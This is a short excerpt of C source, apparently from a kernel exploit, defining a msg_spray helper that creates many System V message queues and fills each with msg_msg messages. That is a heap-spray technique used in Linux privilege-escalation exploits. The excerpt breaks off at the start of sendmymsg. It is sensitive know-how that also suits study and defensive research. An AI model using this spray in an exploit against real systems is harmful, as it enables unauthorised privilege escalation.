create $num_msg message queue and each send $loop msg_msg
| 183 | } |
| 184 | // create $num_msg message queue and each send $loop msg_msg |
| 185 | int msg_spray(int num_msg, int size, int loop) { |
| 186 | int i; |
| 187 | #ifdef MSG_DEBUG |
| 188 | printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop); |
| 189 | #endif |
| 190 | |
| 191 | for (i = 0; i < num_msg; i++) { |
| 192 | if ((msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { |
| 193 | perror("msgget"); |
| 194 | exit(1); |
| 195 | } |
| 196 | #ifdef MSG_DEBUG |
| 197 | printf("[*] msg_spray: msqid[%d]: %d\n", i, msqid[i]); |
| 198 | #endif |
| 199 | sendmymsg(msqid[i], 0, loop, size); |
| 200 | } |
| 201 | return i; |
| 202 | } |
| 203 | // send $loop msg_msg (first 8 bytes == MSG_SPARY == 0x38) |
| 204 | void sendmymsg(int _msqid, int start, int loop, int size) |
| 205 | { |
no test coverage detected